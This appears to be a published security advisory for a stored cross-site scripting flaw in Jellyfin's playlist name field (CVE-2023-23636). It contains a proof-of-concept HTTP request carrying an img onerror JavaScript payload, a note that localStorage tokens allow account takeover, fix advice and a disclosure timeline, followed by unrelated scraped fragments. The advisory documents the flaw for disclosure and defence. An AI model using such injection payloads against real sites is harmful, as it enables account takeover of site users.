The injected code is triggered everytime a user visits the playlist page. Since access tokens are stored in the **localStorage** an attacker is able to take over accounts by reading their values.

**Proof of Concept**

The following screenshot shows the executed JavaScript payload in the victim's browser.

The following request creates a payload with injected _name_.

POST /Playlists?Name=%22%3E%3Cimg%20src%3D%2FX%20onerror%3Dalert(document.domain)%3E&Ids=0358e400bf19a370e7f2e4e69f2af64d&userId=e9239683c3384717810a900f1c2c7eb5 HTTP/1.1  
Host: localhost:8096  
Content-Length: 0  
sec-ch-ua: "Chromium";v="97", " Not;A Brand";v="99"  
accept: application/json  
Content-Type: application/json  
\[...\]

**Fix**

It is recommended to treat all input on the website as potentially dangerous.  
Hence, all output that is dynamically generated based on user-controlled data should be encoded according to its context.  
The majority of programming languages support standard procedures for encoding meta characters.

**References**

*   https://owasp.org/www-community/attacks/xss/
*   https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-23636 

**Timeline**

*   **2022-07-18:** First contact request via security@jellyfin.org
*   **2022-08-02:** Vulnerability details submitted
*   **2022-08-16:** Fixed by Vendor
*   **2023-01-16:** Requested CVE assigned
*   **2023-01-19**: The advisory is published

**Credits**

This security vulnerability was found by Christian Pöschl of usd AG.

CVE-2023-23636: Security Advisory usd-2022-0030 | usd HeroLab

DedeCMS v5.7.97 was discovered to contain a cross-site scripting (XSS) vulnerability in the component /file_manage_view.php?fmdo=edit&filename.

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?

Tag

#xss